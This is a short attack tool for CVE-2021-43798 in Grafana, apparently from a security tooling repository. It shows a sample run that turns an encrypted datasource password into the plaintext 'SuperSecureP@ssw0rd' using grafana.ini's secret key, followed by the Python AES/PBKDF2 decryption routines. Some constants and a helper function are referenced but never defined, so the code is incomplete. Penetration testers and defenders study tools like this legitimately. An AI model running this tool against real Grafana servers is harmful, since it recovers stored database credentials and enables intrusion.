python decrypt.py

######################################
         GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
            SICARI0
######################################

? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd

def decrypt_gcm(block, payload):
    gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
    return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()

def decrypt_cfb(block, payload):
    if len(payload) < 16:
        raise ValueError("Payload too short")
    
    iv = payload[SALT_LENGTH:SALT_LENGTH+16]
    payload = payload[SALT_LENGTH+16:]
    decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
    return decryptor.update(payload) + decryptor.finalize()

def encryption_key_to_bytes(secret, salt):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=10000,
        backend=default_backend()
    )
    return kdf.derive(secret.encode())

def decrypt(payload, secret):
    alg, payload = derive_encryption_algorithm(payload)
    
    if len(payload) < SALT_LENGTH:
        raise ValueError("Unable to compute salt")
    
    salt = payload[:SALT_LENGTH]
    key = encryption_key_to_bytes(secret, salt)
    
    block = algorithms.AES(key)
    
    if alg == AES_GCM:
        return decrypt_gcm(key, payload)
    else:
        return decrypt_cfb(key, payload)

def encrypt(payload, secret):
    salt = os.urandom(SALT_LENGTH)
    key = encryption_key_to_bytes(secret, salt)
    block = algorithms.AES(key)
    
    iv = os.urandom(16)
    encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
    encrypted = encryptor.update(payload) + encryptor.finalize()
    
    return salt + iv + encrypted